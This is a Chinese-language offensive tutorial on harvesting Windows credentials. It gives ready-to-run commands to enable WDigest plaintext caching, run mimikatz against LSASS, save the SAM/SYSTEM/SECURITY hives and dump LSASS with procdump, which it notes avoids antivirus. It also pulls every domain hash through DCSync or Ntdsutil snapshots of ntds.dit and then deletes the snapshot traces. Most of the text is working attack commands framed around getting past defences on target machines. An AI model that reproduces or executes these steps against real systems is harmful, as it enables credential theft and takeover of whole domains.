# 概述
为了方便用户对资源访问时,不再会被提醒,用户在登录后,会生成很多凭证数据保存在本地安全权限服务的进程内存中(LSASS)。而我们通过将这个进程的内存导出,利用工具就能从里面读出密码来了。
凭证数据包括 NTLM 密码哈希,LM 密码哈希,或者是明文密码。而 LM 密码因为其安全性早已被微软弃用。
而当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,这是因为微软很早就更新了补丁来防止获取 windows 的明文密码,但是可以修改注册表开启 WDigest,等待管理员登陆后再次读取,没有做额外防护就可以直接拿到明文了。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f# 本地账户密码抓取
密码抓取与获取主要使用 mimikatz,但目标机器存在杀软时,如果没有免杀手段 mimikatz 必然是落地死的。
所以我们需要将 Lsass 进程内存下载下来到本地用 mimikatz 读取。
下面主要介绍两种方式获取本地密码
①在目标机器直接跑 mimikatz
②将目标机器 lsass 内存下载下来,在本地用 mimikatz 读# mimikatz 直接读取
Mimikatz 存在两个可选组件:
mimidrv:与 Windows 内核交互的驱动程序
mimilib:绕过 AppLocker,验证包 / SSP,密码过滤器以及用于 WinDBG 的 sekurlsa
Mimikatz 需要管理员或者 SYSTEM 权限,使用 DEBUG 权限执行某些操作,与 LSASS 进程进行交互。读取密码
privilege::debug #获取system权限 sekurlsa::logonpasswords #获取本地密码
# 导出目标 Lsass 进程内存
# 注册表导出
通过执行 reg 命令将 SAM、System、SECURITY 等文件内容导出到文件中。
以管理员权限启动 powershell 后,运行命令,只后文件会保存在 shell 当前目录下。reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive
然后在本地使用 mimikatz 将 hash 给弄出来
lsadump::sam /sam:sam.hive /system:system.hive
# procdump 工具导出
该工具是微软提供的系统维护工具,带有微软签名,所以自带免杀。原理:把 lsass 进程的内存给下载下来,然后使用 mimikatz 提取。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp log sekurlsa::logonpasswords
# 域内域密码的抓取
https://blog.csdn.net/qq_39611230/article/details/114587273
域中的账户密码采用的是集中管理而非本地模式,即密码保存在的是 DC,而不在本地,但当认证成功后,本地内存中是存在密码的。C:\Windows\NTDS\ntds.dit 或 % SystemRoot%\NTDS 是域控中一个专属的活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。但由于系统高级用户的占用,这种重要文件用户正常情况下是无法对其进行任何操作的。想要获得域内凭证首先就是需要通过各种手段来获取此文件!
# mimikatz 直接获取域密码
privilege::debug #获取system权限 lsadump::dcsync /domain:test.com /all /csv #获取密码
other 命令
sekurlsa::logonpasswords # 此命令可以看到当前客户端所有用户以及域名 lsadump::dcsync /domain:域名 /all /csv # 利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。(和下面的导出同原理) # 查看所有用户凭证信息 lsadump::lsa /inject
# 导出域内密码数据库,然后本地使用 mimikatz 获取
域内 hash 保存在 c:\windows\ntds\ntds.dit 中,是一个 esent 数据库,导出域内 HASH 时 需要域管权限: 获取域管权限后,因为文件实时占用,所以无法直接导出,需要使用 ShadowCopy 的方法将 ntds.dit 提取出来
#首先创建快照 Ntdsutil snapshot "activate instance ntds" create quit quit #创建快照后会生成一个快照 ID,挂载该 ID 的快照 Ntdsutil snapshot "mount {39842c86-23d2-4084-9049-ce07926721dd}" quit quit #快照成功挂载后会映射到一个指定目录下,接下来从该目录下拷贝对应的密码文件 Copy 'C:\$SNAP_202107241427_VOLUMEC$\windows\NTDS\ntds.dit' c:\ntds.dit #清理快照痕迹,卸载快照 Ntdsutil snapshot "unmount {39842c86-23d2-4084-9049-ce07926721dd}" quit quit #删除快照 Ntdsutil snapshot "delete {39842c86-23d2-4084-9049-ce07926721dd}" quit quit #上述步骤成功获取了存有域内所有 Hash 的数据库,接下来是从域控上导出解密Key Reg save HKLM\SYSTEM c:\sys.hiv #使用 NTDSDumpEx 导出的 Key 解密数据库获取hash NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
PS:前面步骤不报错就不需要这一步。
我们拿到的用户凭证文件 ntds.dit 在获取的时候文件是被占用状态,所以获取的文件可能会有一些问题,这时候我们就需要先进行一步修复操作。# esentutl 是一个微软自带的工具,是专门用来对微软系统数据库进行一些常用操作的工具包,其中/p就代表使用修复功能 esentutl /p /o ntds.dit